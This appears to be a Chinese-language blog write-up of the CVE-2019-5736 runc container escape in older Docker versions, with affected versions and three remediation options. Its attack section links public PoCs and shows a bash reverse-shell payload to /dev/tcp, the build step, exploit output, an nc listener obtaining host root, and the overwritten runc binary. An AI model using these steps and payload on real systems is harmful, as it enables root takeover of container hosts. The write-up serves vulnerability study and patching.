描述

在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以以root的身份执行命令,导致获得宿主机的root权限。

利用方式:

  1. 宿主机利用攻击者提供的image来创建一个新的container 。
  2. 拥有container root权限,并且该container后续被docker exec attach。

影响:

  • docker version <=18.09.2 (然而实际测试的结果是docker version 18.09.1失败)
  • RunC version <=1.0-rc6

解决方式

方案一:新建k8s 1.11或1.12集群。容器服务新创建的1.11或1.12版本的Kubernetes集群已经包含修复该漏洞的Docker版本。

方案二:升级Docker。升级已有集群的Docker到18.09.2或以上版本。该方案会导致容器和业务中断。

方案三:仅升级runc(针对Docker版本17.06)。为避免升级Docker引擎造成的业务中断,可以按照下文的步骤文档,逐一升级集群节点上的runc二进制。

攻击方式

利用poc地址

https://github.com/Frichetten/CVE-2019-5736-PoC

利用前提前备份/usr/bin/docker-runc文件

  • 修改payload
1
2
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/x.x.x.x/1234 0>&1"
  • 编译
1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在容器中执行:

1
2
3
4
5
root@882ba22e4fdb:/home# ./main 
[+] Overwritten /bin/sh successfully
[+] Found the PID: 31
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc0003b3ce0}

在攻击机上用nc侦听,并获取shell:

1
2
3
4
5
nc  -l 1234
root@wuala:/# whoami
whoami
root
root@wuala:/#

查看docker-runc文件,已经被更改

1
2
3
4
5
6
root@wuala:~# cat  /usr/bin/docker-runc  | xxd 
00000000: 2321 2f62 696e 2f62 6173 6820 0a20 6261 #!/bin/bash . ba
00000010: 7368 202d 6920 3e26 202f 6465 762f 7463 sh -i >& /dev/tc
00000020: 702f 3130 2e30 2e34 2e36 382f 3132 3334 p/10.0.4.68/1234
00000030: 2030 3e26 31 0>&1
root@wuala:~#

方法二

恶意镜像方式

https://github.com/q3k/cve-2019-5736-poc

⬆︎TOP